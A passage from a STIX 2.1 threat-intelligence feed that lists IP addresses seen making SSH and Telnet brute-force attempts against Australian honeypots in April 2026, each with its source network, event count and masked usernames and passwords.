      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 255. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 6878. Organisation(s): T-Systems International GmbH. Usernames observed (masked): r**t, 3**********4, e****r, t**t, u****u. Passwords observed (masked): 3***********4, 3**********4, A*******$, A**1, A*******4.",
      "id": "indicator--e08e27db-9fdd-419d-82c1-89a7a69b5399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.158.109.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1**********h.",
      "id": "indicator--f7aee765-ab3b-4b8c-8c4e-3322abcd8df3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.78.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL.",
      "id": "indicator--26a84555-29a5-403d-acf0-600522ec5023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.100.194.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): K**********3.",
      "id": "indicator--741341ef-6906-44da-9b10-f9b0169f1c59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.190.132.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): K**********0.",
      "id": "indicator--724087f8-61a5-4cfd-9816-4e9498b73b20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): k******h.",
      "id": "indicator--5868af3f-fc8c-46c6-9178-c2594609d9ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): K***********!.",
      "id": "indicator--2b9f272b-bd0d-4079-a1d9-e7e82d24ff0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 16135. Organisation(s): Turkcell Iletisim Hizmetleri A.s..",
      "id": "indicator--7b41c88c-24ac-408d-bcc7-fceed39dad67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.244.253.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): K***********6.",
      "id": "indicator--8406f75c-a93d-4bb6-9ccd-586b7f81cac0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): K***********3.",
      "id": "indicator--15872a58-55e9-402d-97ac-49d1c6565ccd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): K***********#.",
      "id": "indicator--3f2e31c1-cbb4-408a-a44f-251e18cd80a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): k**********$.",
      "id": "indicator--8a6424b0-1143-47fc-9245-9753e85bb485",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): k***********9.",
      "id": "indicator--fe550ff3-d3d7-46cb-9bc1-71521285560e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): k********#.",
      "id": "indicator--e244f295-5377-40ba-9f12-4f27147d90a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): K************#.",
      "id": "indicator--2f6fb3ee-c392-445c-8ee5-91e86f4968e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): K**********3.",
      "id": "indicator--8f6187b0-0db0-4d19-ae63-5d1c5e7b84f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): W*********3.",
      "id": "indicator--70238ffe-6804-402f-9f16-bfdfaa2bd9ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): 2**********h.",
      "id": "indicator--b2bd59c9-77c3-4880-96ea-f9bec58b8b26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:15:03.000Z",
      "valid_until": "2026-05-12T13:15:01.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): k******h. Passwords observed (masked): K**********3.",
      "id": "indicator--f303602c-5669-4f07-9cb4-7c7a8b7b6af9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.75.88.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, ***, 3**********4, a***n, ***. Passwords observed (masked): 1****6, 1******@, 1*******@, 2****2, 3***********4.",
      "id": "indicator--04b22b8c-549b-4f35-9ad1-a5db2bc944bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.177.242.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): K**********2.",
      "id": "indicator--f47e26c4-ff68-467d-bee7-8e0b0830fc70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.59.21.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): c****s. Passwords observed (masked): a******3.",
      "id": "indicator--9c596640-9887-4976-a962-2b0c262c725e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.63.225.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): k**********3.",
      "id": "indicator--257ec087-16c5-49e4-883a-34f18c7062f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.93.208.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--7ddc9c08-8834-4838-a739-bd5a93fd0c0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.182.151.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135161. Organisation(s): GMO-Z com NetDesign Holdings Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): k***********3.",
      "id": "indicator--503cfea4-2ec5-46dc-82cb-aa6047c0e807",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.95.27.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): r**t. Passwords observed (masked): !***********h.",
      "id": "indicator--cecf3357-2c77-41ed-b394-f03eded37d93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.53.149.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): @***********h.",
      "id": "indicator--85372f82-2622-4e6b-af53-e0993ad01121",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): K***********4.",
      "id": "indicator--255db1bb-ee75-4093-9625-a402d9b258d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): r**********h.",
      "id": "indicator--2deabd51-017b-4b14-a420-0b09377b7033",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): P**********3.",
      "id": "indicator--27bd93fb-db24-4b72-b6a7-60bd134e9b1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): 1***********h.",
      "id": "indicator--1bc0785a-7d2c-4628-83e0-2bd84c0b0c0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): *.",
      "id": "indicator--5d0697e7-b7fe-4b88-89d2-d25afad2b249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.126.176.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--3fd5bc4c-2dda-4eb2-93ee-dc941b34558d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.167.239.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): k***********!.",
      "id": "indicator--cb5174be-3364-47b3-b2a8-8b3ca1b03efb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.62.136.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:15:03.000Z",
      "valid_until": "2026-05-12T14:15:02.000Z"
    },
    {
      "created": "2026-04-10T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
